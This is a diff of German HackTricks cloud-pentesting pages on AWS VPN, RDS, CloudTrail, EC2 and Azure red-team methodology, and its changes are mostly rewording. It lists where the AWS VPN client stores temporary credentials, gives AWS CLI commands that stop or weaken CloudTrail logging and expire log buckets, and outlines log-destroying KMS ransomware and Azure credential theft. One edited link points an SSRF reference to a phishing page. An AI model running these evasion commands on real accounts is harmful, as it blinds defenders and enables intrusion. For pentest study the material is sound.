+AWS Nitro ist eine Suite von **innovativen Technologien**, die die zugrunde liegende Plattform für AWS EC2-Instanzen bilden. Von Amazon eingeführt, um **Sicherheit, Leistung und Zuverlässigkeit** zu **verbessern**, nutzt Nitro maßgeschneiderte **Hardwarekomponenten und einen leichten Hypervisor**. Es abstrahiert einen Großteil der traditionellen Virtualisierungsfunktionen auf dedizierte Hardware und Software, **minimiert die Angriffsfläche** und verbessert die Ressourceneffizienz. Durch das Auslagern von Virtualisierungsfunktionen ermöglicht Nitro EC2-Instanzen, **nahezu Bare-Metal-Leistung** zu liefern, was es besonders vorteilhaft für ressourcenintensive Anwendungen macht. Darüber hinaus gewährleistet der Nitro Security Chip speziell die **Sicherheit der Hardware und Firmware** und festigt somit seine robuste Architektur.
-Erhalten Sie weitere Informationen und wie Sie es enumerieren können von:
+Erfahren Sie mehr Informationen und wie man es enumeriert von:
{{#ref}}
aws-nitro-enum.md
@@ -238,32 +238,32 @@ aws-nitro-enum.md
## VPN
-Ein VPN ermöglicht die Verbindung Ihres **On-Premise-Netzwerks (Site-to-Site VPN)** oder der **Mitarbeiter-Laptops (Client VPN)** mit einer **AWS VPC**, sodass Dienste ohne Exposition gegenüber dem Internet genutzt werden können.
+Ein VPN ermöglicht es, Ihr **lokales Netzwerk (Site-to-Site VPN)** oder die **Laptop der Mitarbeiter (Client VPN)** mit einer **AWS VPC** zu verbinden, sodass Dienste ohne Notwendigkeit, sie dem Internet auszusetzen, zugegriffen werden kann.
#### Grundlegende AWS VPN-Komponenten
1. **Customer Gateway**:
- Ein Customer Gateway ist eine Ressource, die Sie in AWS erstellen, um Ihre Seite einer VPN-Verbindung darzustellen.
- Es ist im Wesentlichen ein physisches Gerät oder eine Softwareanwendung auf Ihrer Seite der Site-to-Site VPN-Verbindung.
-- Sie geben Routinginformationen und die öffentliche IP-Adresse Ihres Netzwerkgeräts (wie einen Router oder eine Firewall) an AWS weiter, um ein Customer Gateway zu erstellen.
+- Sie geben Routing-Informationen und die öffentliche IP-Adresse Ihres Netzwerkgeräts (wie einen Router oder eine Firewall) an AWS weiter, um ein Customer Gateway zu erstellen.
- Es dient als Referenzpunkt für die Einrichtung der VPN-Verbindung und verursacht keine zusätzlichen Kosten.
2. **Virtual Private Gateway**:
- Ein Virtual Private Gateway (VPG) ist der VPN-Konzentrator auf der Amazon-Seite der Site-to-Site VPN-Verbindung.
-- Es ist an Ihre VPC angehängt und dient als Ziel für Ihre VPN-Verbindung.
+- Es ist an Ihre VPC angeschlossen und dient als Ziel für Ihre VPN-Verbindung.
- VPG ist der AWS-Seitenendpunkt für die VPN-Verbindung.
-- Es verwaltet die sichere Kommunikation zwischen Ihrer VPC und Ihrem On-Premises-Netzwerk.
-3. **Site-to-Site VPN Connection**:
-- Eine Site-to-Site VPN-Verbindung verbindet Ihr On-Premises-Netzwerk mit einer VPC über einen sicheren IPsec VPN-Tunnel.
+- Es verwaltet die sichere Kommunikation zwischen Ihrer VPC und Ihrem lokalen Netzwerk.
+3. **Site-to-Site VPN-Verbindung**:
+- Eine Site-to-Site VPN-Verbindung verbindet Ihr lokales Netzwerk über einen sicheren IPsec VPN-Tunnel mit einer VPC.
- Diese Art von Verbindung erfordert ein Customer Gateway und ein Virtual Private Gateway.
- Es wird für sichere, stabile und konsistente Kommunikation zwischen Ihrem Rechenzentrum oder Netzwerk und Ihrer AWS-Umgebung verwendet.
-- Typischerweise für regelmäßige, langfristige Verbindungen verwendet und wird basierend auf der Menge der über die Verbindung übertragenen Daten abgerechnet.
-4. **Client VPN Endpoint**:
+- Typischerweise für regelmäßige, langfristige Verbindungen genutzt und wird basierend auf der Menge der über die Verbindung übertragenen Daten abgerechnet.
+4. **Client VPN-Endpunkt**:
- Ein Client VPN-Endpunkt ist eine Ressource, die Sie in AWS erstellen, um Client-VPN-Sitzungen zu aktivieren und zu verwalten.
-- Es wird verwendet, um einzelnen Geräten (wie Laptops, Smartphones usw.) eine sichere Verbindung zu AWS-Ressourcen oder Ihrem On-Premises-Netzwerk zu ermöglichen.
+- Es wird verwendet, um einzelnen Geräten (wie Laptops, Smartphones usw.) eine sichere Verbindung zu AWS-Ressourcen oder Ihrem lokalen Netzwerk zu ermöglichen.
- Es unterscheidet sich vom Site-to-Site VPN, da es für einzelne Clients und nicht für die Verbindung ganzer Netzwerke konzipiert ist.
- Mit Client VPN verwendet jedes Client-Gerät eine VPN-Client-Software, um eine sichere Verbindung herzustellen.
-Sie können [**hier weitere Informationen zu den Vorteilen und Komponenten von AWS VPNs finden**](aws-vpc-and-networking-basic-information.md#vpn).
+Sie können [**hier mehr Informationen über die Vorteile und Komponenten von AWS VPNs finden**](aws-vpc-and-networking-basic-information.md#vpn).
### Enumeration
```bash
@@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections
**Lokale temporäre Anmeldeinformationen**
-Wenn der AWS VPN-Client verwendet wird, um eine VPN-Verbindung herzustellen, meldet sich der Benutzer normalerweise **bei AWS an**, um Zugriff auf das VPN zu erhalten. Dann werden einige **AWS-Anmeldeinformationen erstellt und lokal gespeichert**, um die VPN-Verbindung herzustellen. Diese Anmeldeinformationen werden **gespeichert in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` und enthalten einen **AccessKey**, einen **SecretKey** und ein **Token**.
+Wenn der AWS VPN-Client verwendet wird, um eine Verbindung zu einem VPN herzustellen, meldet sich der Benutzer normalerweise **bei AWS an**, um Zugriff auf das VPN zu erhalten. Dann werden einige **AWS-Anmeldeinformationen erstellt und lokal gespeichert**, um die VPN-Verbindung herzustellen. Diese Anmeldeinformationen werden **gespeichert in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` und enthalten einen **AccessKey**, einen **SecretKey** und ein **Token**.
Die Anmeldeinformationen gehören zum Benutzer `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: mehr über die Berechtigungen dieser Anmeldeinformationen recherchieren).
**opvn-Konfigurationsdateien**
-Wenn eine **VPN-Verbindung hergestellt wurde**, sollten Sie nach **`.opvn`**-Konfigurationsdateien im System suchen. Darüber hinaus ist ein Ort, an dem Sie die **Konfigurationen** finden könnten, **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
+Wenn eine **VPN-Verbindung hergestellt wurde**, sollten Sie nach **`.opvn`**-Konfigurationsdateien im System suchen. Darüber hinaus ist ein Ort, an dem Sie die **Konfigurationen** finden könnten, **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**.
#### **Post-Exploitation**
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
index da7424379..e831537a0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
@@ -4,7 +4,7 @@
## Grundinformationen
-Der **Relational Database Service (RDS)**, der von AWS angeboten wird, ist darauf ausgelegt, die Bereitstellung, den Betrieb und die Skalierung einer **relationalen Datenbank in der Cloud** zu optimieren. Dieser Dienst bietet die Vorteile von Kosteneffizienz und Skalierbarkeit, während arbeitsintensive Aufgaben wie Hardwarebereitstellung, Datenbankkonfiguration, Patching und Backups automatisiert werden.
+Der **Relational Database Service (RDS)**, der von AWS angeboten wird, ist darauf ausgelegt, die Bereitstellung, den Betrieb und die Skalierung einer **relationalen Datenbank in der Cloud** zu optimieren. Dieser Dienst bietet die Vorteile von Kosteneffizienz und Skalierbarkeit, während arbeitsintensive Aufgaben wie Hardwarebereitstellung, Datenbankkonfiguration, Patchen und Backups automatisiert werden.
AWS RDS unterstützt verschiedene weit verbreitete relationale Datenbank-Engines, darunter MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server und Amazon Aurora, mit Kompatibilität für sowohl MySQL als auch PostgreSQL.
@@ -16,13 +16,13 @@ Wichtige Funktionen von RDS sind:
- **Integration** mit anderen AWS-Diensten, wie:
- AWS Identity and Access Management (**IAM**) für robuste Zugriffskontrolle.
- AWS **CloudWatch** für umfassende Überwachung und Metriken.
-- AWS Key Management Service (**KMS**) zur Gewährleistung der Verschlüsselung im Ruhezustand.
+- AWS Key Management Service (**KMS**) zur Sicherstellung der Verschlüsselung im Ruhezustand.
## Anmeldeinformationen
Beim Erstellen des DB-Clusters kann der Master-**Benutzername** konfiguriert werden (**`admin`** standardmäßig). Um das Passwort dieses Benutzers zu generieren, können Sie:
-- **Ein Passwort** selbst angeben
+- **Ein Passwort** selbst **angeben**
- RDS anweisen, es **automatisch zu generieren**
- RDS anweisen, es im **AWS Secret Manager** zu verwalten, verschlüsselt mit einem KMS-Schlüssel
@@ -55,7 +55,7 @@ Es gibt jedoch einen **Workaround, der es Ihnen ermöglicht, eine unverschlüsse
Neben den Verschlüsselungsfunktionen, die RDS auf Anwendungsebene bietet, unterstützt RDS auch **zusätzliche plattformseitige Verschlüsselungsmechanismen**, um Daten im Ruhezustand zu schützen. Dazu gehört die **Transparente Datenverschlüsselung (TDE)** für Oracle und SQL Server. Es ist jedoch wichtig zu beachten, dass TDE zwar die Sicherheit erhöht, indem es Daten im Ruhezustand verschlüsselt, es jedoch auch **die Datenbankleistung beeinträchtigen kann**. Diese Leistungsbeeinträchtigung ist besonders bemerkbar, wenn sie in Verbindung mit MySQL-Kryptografiefunktionen oder Microsoft Transact-SQL-Kryptografiefunktionen verwendet wird.
-Um TDE zu nutzen, sind bestimmte Vorbereitungen erforderlich:
+Um TDE zu nutzen, sind bestimmte vorbereitende Schritte erforderlich:
1. **Option Group Association**:
- Die Datenbank muss mit einer Optionsgruppe verbunden sein. Optionsgruppen dienen als Container für Einstellungen und Funktionen und erleichtern die Datenbankverwaltung, einschließlich Sicherheitsverbesserungen.
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password
Es gibt Möglichkeiten, auf DynamoDB-Daten mit **SQL-Syntax** zuzugreifen, daher sind typische **SQL-Injektionen ebenfalls möglich**.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/sql-injection
+https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index d15e69dcd..c88d3f0e6 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -19,22 +19,22 @@ Jedes protokollierte Ereignis enthält:
- Die Anforderungsparameter: `requestParameters`
- Die Antwortelemente: `responseElements`
-Ereignisse werden **ungefähr alle 5 Minuten in einer JSON-Datei in eine neue Protokolldatei geschrieben**, sie werden von CloudTrail gehalten und schließlich werden die Protokolldateien **ungefähr 15 Minuten später an S3 geliefert**.\
+Ereignisse werden **ungefähr alle 5 Minuten in einer JSON-Datei** in eine neue Protokolldatei geschrieben, sie werden von CloudTrail gehalten und schließlich werden die Protokolldateien **ungefähr 15 Minuten später an S3 geliefert**.\
CloudTrails Protokolle können **über Konten und Regionen aggregiert werden.**\
-CloudTrail ermöglicht die Verwendung von **Protokolldateiintegrität, um zu überprüfen, dass Ihre Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind**. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein sha-256-Hash der neuen Protokolle wird jede Stunde erstellt.\
-Beim Erstellen eines Trails ermöglichen es die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einblickereignisse.
+CloudTrail ermöglicht die Verwendung von **Protokolldateiintegrität, um zu überprüfen, dass Ihre Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind**. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein SHA-256-Hash der neuen Protokolle wird jede Stunde erstellt.\
+Beim Erstellen eines Trails ermöglichen die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einsichtsevents.
-Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird die serverseitige Verschlüsselung (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die Zugriff darauf haben, aber für zusätzliche Sicherheit können Sie SSE mit KMS und Ihren eigenen Schlüsseln verwenden.
+Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird Server Side Encryption (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die Zugriff darauf haben, aber für zusätzliche Sicherheit können Sie SSE mit KMS und Ihren eigenen Schlüsseln verwenden.
Die Protokolle werden in einem **S3-Bucket mit diesem Namensformat** gespeichert:
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
-- Der BucketName ist: **`aws-cloudtrail-logs--`**
+- Dabei ist der BucketName: **`aws-cloudtrail-logs--`**
- Beispiel: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
Innerhalb jedes Ordners hat jede Protokolldatei einen **Namen, der diesem Format folgt**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
-Protokolldateibenennungs-Konvention
+Protokolldateibenennungskonvention
.png>)
@@ -42,13 +42,13 @@ Darüber hinaus werden **Digest-Dateien (zur Überprüfung der Dateiintegrität)
.png>)
-### Aggregierte Protokolle von mehreren Konten
+### Protokolle von mehreren Konten aggregieren
-- Erstellen Sie einen Trail im AWS-Konto, in dem Sie die Protokolldateien geliefert bekommen möchten
+- Erstellen Sie einen Trail im AWS-Konto, in dem die Protokolldateien geliefert werden sollen
- Wenden Sie Berechtigungen auf den Ziel-S3-Bucket an, um den Zugriff über Konten für CloudTrail zu ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt
- Erstellen Sie einen neuen Trail in den anderen AWS-Konten und wählen Sie aus, den im Schritt 1 erstellten Bucket zu verwenden
-Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokolle aggregieren, die zu einem einzelnen AWS-Konto gehören.
+Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokollen aggregieren, die zu einem einzelnen AWS-Konto gehören.
> [!CAUTION]
> Denken Sie daran, dass ein Konto **verschiedene Trails** von CloudTrail **aktiviert** haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern.
@@ -92,11 +92,11 @@ Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert:
| Integrität der CloudTrail-Protokolldatei |
Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht)
Verwendet Digest-Dateien (erstellt Hash für jede Datei)
SHA-256-Hashing
SHA-256 mit RSA für digitale Signatur
privater Schlüssel im Besitz von Amazon
Benötigt 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)
Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien
Sicherheitsteam —> Administratorzugriff
Prüfer —> Nur-Lese-Zugriff
Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln
|
-| Verhindern, dass Protokolldateien gelöscht werden |
Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien
Konfigurieren Sie S3 MFA-Löschen
Validieren Sie mit der Protokolldateivalidierung
|
+| Verhindern, dass Protokolldateien gelöscht werden |
Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien
Konfigurieren Sie S3 MFA-Löschen
Überprüfen Sie mit der Protokolldatei-Validierung
|
## Zugriffsberater
-AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und verwandten Ereignisse, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und potenziell zu breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.
+AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie von AWS-API-Aufrufen und verwandten Ereignissen, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise übermäßig breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.
> [!TIP]
> Daher informiert der Zugriffsberater über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, sodass der Administrator sie entfernen kann
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id )
> [!CAUTION]
-> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, um keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, also müssen Sie möglicherweise Ihre eigenen finden...
+> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, sodass Sie möglicherweise Ihre eigenen finden müssen...
>
> Für weitere Informationen überprüfen Sie die [**originale Forschung**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
@@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name]
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
-#### Protokollierung durch Ereigniswähler deaktivieren
+#### Protokollierung durch Ereignis-Selektoren deaktivieren
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region
@@ -244,33 +244,33 @@ Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen
```bash
aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region
```
-### Modifizieren der Bucket-Konfiguration
+### Modifying Bucket Configuration
- Löschen Sie den S3-Bucket
- Ändern Sie die Bucket-Richtlinie, um alle Schreibvorgänge vom CloudTrail-Dienst zu verweigern
- Fügen Sie eine Lebenszyklusrichtlinie zum S3-Bucket hinzu, um Objekte zu löschen
- Deaktivieren Sie den KMS-Schlüssel, der zum Verschlüsseln der CloudTrail-Protokolle verwendet wird
-### Cloudtrail Ransomware
+### Cloudtrail ransomware
-#### S3 Ransomware
+#### S3 ransomware
Sie könnten **einen asymmetrischen Schlüssel generieren** und **CloudTrail die Daten mit diesem Schlüssel verschlüsseln** und **den privaten Schlüssel löschen**, sodass die Inhalte von CloudTrail nicht wiederhergestellt werden können.\
-Dies ist im Grunde eine **S3-KMS Ransomware**, die in:
+Dies ist im Grunde eine **S3-KMS-Ransomware**, die in folgendem erklärt wird:
{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
{{#endref}}
-**KMS Ransomware**
+**KMS ransomware**
-Dies ist der einfachste Weg, den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:
+Dies ist der einfachste Weg, um den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:
{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation.md
{{#endref}}
-## **Referenzen**
+## **References**
- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
index c93c68013..32f0261d4 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -12,17 +12,17 @@
### Öffentliche Ports
-Es ist möglich, **jeden Port der virtuellen Maschinen ins Internet zu exponieren**. Abhängig davon, **was auf dem exponierten Port läuft**, könnte ein Angreifer dies ausnutzen.
+Es ist möglich, **irgendeinen Port der virtuellen Maschinen ins Internet zu exponieren**. Je nachdem, **was auf dem exponierten Port läuft**, könnte ein Angreifer dies ausnutzen.
#### SSRF
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Öffentliche AMIs & EBS-Snapshots
-AWS erlaubt es, **jeden Zugang zu gewähren, um AMIs und Snapshots herunterzuladen**. Sie können diese Ressourcen sehr einfach von Ihrem eigenen Konto aus auflisten:
+AWS erlaubt es, **jeden den Zugriff auf AMIs und Snapshots zu gewähren**. Sie können diese Ressourcen sehr einfach von Ihrem eigenen Konto aus auflisten:
```bash
# Public AMIs
aws ec2 describe-images --executable-users all
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
-Wenn Sie einen Snapshot finden, der von jedem wiederhergestellt werden kann, stellen Sie sicher, dass Sie [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) auf Anweisungen zum Herunterladen und Ausplündern des Snapshots überprüfen.
+Wenn Sie einen Snapshot finden, der von jedem wiederhergestellt werden kann, stellen Sie sicher, dass Sie [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) auf Anweisungen zum Herunterladen und Ausplündern des Snapshots überprüfen.
#### Öffentliches URL-Template
```bash
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index cb959ceeb..5d4c9fa06 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -10,15 +10,15 @@ az-basic-information/
## Azure Pentester/Red Team Methodik
-Um eine AZURE-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert wird**, wer **Zugriff** auf was hat und wie interne Azure-Dienste und **externe Dienste** verbunden sind.
+Um eine AZURE-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne Azure-Dienste und **externe Dienste** verbunden sind.
-Aus der Sicht eines Red Teams ist der **erste Schritt, um eine Azure-Umgebung zu kompromittieren**, das Erhalten von **Anmeldeinformationen** für Azure AD. Hier sind einige Ideen, wie man das machen kann:
+Aus der Sicht eines Red Teams ist der **erste Schritt, um eine Azure-Umgebung zu kompromittieren**, die Beschaffung von **Anmeldeinformationen** für Azure AD. Hier sind einige Ideen, wie man das erreichen kann:
- **Leaks** in github (oder ähnlichem) - OSINT
-- **Soziale** Ingenieurkunst
-- **Passwort**-Wiederverwendung (Passwortlecks)
+- **Social** Engineering
+- **Passwort** Wiederverwendung (Passwortlecks)
- Schwachstellen in Azure-gehosteten Anwendungen
-- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) mit Zugriff auf den Metadaten-Endpunkt
+- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) mit Zugriff auf den Metadaten-Endpunkt
- **Lokales Datei Lesen**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
@@ -29,8 +29,8 @@ Aus der Sicht eines Red Teams ist der **erste Schritt, um eine Azure-Umgebung zu
Verwenden Sie `Disconnect-AzAccount`, um sie zu entfernen.
- 3rd Party **gehackt**
- **Interner** Mitarbeiter
-- [**Häufiges Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (Anmeldeinformationen oder Oauth-App)
-- [Gerätekodenauthentifizierungsphishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
+- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (Anmeldeinformationen oder Oauth-App)
+- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
Selbst wenn Sie **keinen Benutzer** innerhalb des Azure-Mandanten, den Sie angreifen, kompromittiert haben, können Sie **einige Informationen** daraus sammeln:
@@ -40,39 +40,39 @@ az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
-> Nachdem Sie Anmeldeinformationen erhalten haben, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen:
+> Nachdem Sie Anmeldeinformationen erhalten haben, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie eine grundlegende Enumeration durchführen:
-## Grundlegende Aufzählung
+## Grundlegende Enumeration
> [!NOTE]
-> Denken Sie daran, dass der **lauteste** Teil der Aufzählung das **Login** ist, nicht die Aufzählung selbst.
+> Denken Sie daran, dass der **lauteste** Teil der Enumeration das **Login** ist, nicht die Enumeration selbst.
### SSRF
-Wenn Sie ein SSRF auf einer Maschine innerhalb von Azure gefunden haben, überprüfen Sie diese Seite für Tricks:
+Wenn Sie ein SSRF auf einem Rechner innerhalb von Azure gefunden haben, überprüfen Sie diese Seite auf Tricks:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
{{#endref}}
### Umgehung von Anmeldebedingungen
-In Fällen, in denen Sie einige gültige Anmeldeinformationen haben, aber sich nicht anmelden können, sind dies einige gängige Schutzmaßnahmen, die vorhanden sein könnten:
+In Fällen, in denen Sie gültige Anmeldeinformationen haben, aber sich nicht anmelden können, sind dies einige gängige Schutzmaßnahmen, die vorhanden sein könnten:
- **IP-Whitelist** -- Sie müssen eine gültige IP kompromittieren
- **Geo-Beschränkungen** -- Finden Sie heraus, wo der Benutzer lebt oder wo sich die Büros des Unternehmens befinden, und erhalten Sie eine IP aus derselben Stadt (oder zumindest demselben Land)
-- **Browser** -- Vielleicht ist nur ein Browser von einem bestimmten OS (Windows, Linux, Mac, Android, iOS) erlaubt. Finden Sie heraus, welches OS das Opfer/das Unternehmen verwendet.
+- **Browser** -- Möglicherweise ist nur ein Browser von bestimmten Betriebssystemen (Windows, Linux, Mac, Android, iOS) erlaubt. Finden Sie heraus, welches OS das Opfer/das Unternehmen verwendet.
- Sie können auch versuchen, **Service Principal-Anmeldeinformationen** zu kompromittieren, da diese normalerweise weniger eingeschränkt sind und deren Anmeldung weniger überprüft wird.
Nachdem Sie dies umgangen haben, sollten Sie in der Lage sein, zu Ihrem ursprünglichen Setup zurückzukehren und weiterhin Zugriff zu haben.
-### Subdomain-Übernahme
+### Subdomain Übernahme
- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
-### Whoami
+### Wer bin ich
> [!CAUTION]
> Lernen Sie, **wie man** az cli, AzureAD und Az PowerShell im Abschnitt [**Az - Entra ID**](az-services/az-azuread.md) installiert.
@@ -126,7 +126,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
### ENtra ID Auflistung
-Standardmäßig sollte jeder Benutzer **ausreichende Berechtigungen haben, um** Dinge wie Benutzer, Gruppen, Rollen, Dienstprinzipale... aufzulisten (siehe [Standard AzureAD-Berechtigungen](az-basic-information/#default-user-permissions)).\
+Standardmäßig sollte jeder Benutzer **ausreichende Berechtigungen haben, um** Dinge wie Benutzer, Gruppen, Rollen, Dienstprinzipale... aufzulisten (siehe [Standard AzureAD-Berechtigungen](az-basic-information/index.html#default-user-permissions)).\
Hier finden Sie einen Leitfaden:
{{#ref}}
@@ -134,7 +134,7 @@ az-services/az-azuread.md
{{#endref}}
> [!NOTE]
-> Jetzt, da Sie **einige Informationen über Ihre Anmeldeinformationen haben** (und wenn Sie ein Rote-Team sind, hoffen wir, dass Sie **nicht entdeckt wurden**). Es ist an der Zeit herauszufinden, welche Dienste in der Umgebung verwendet werden.\
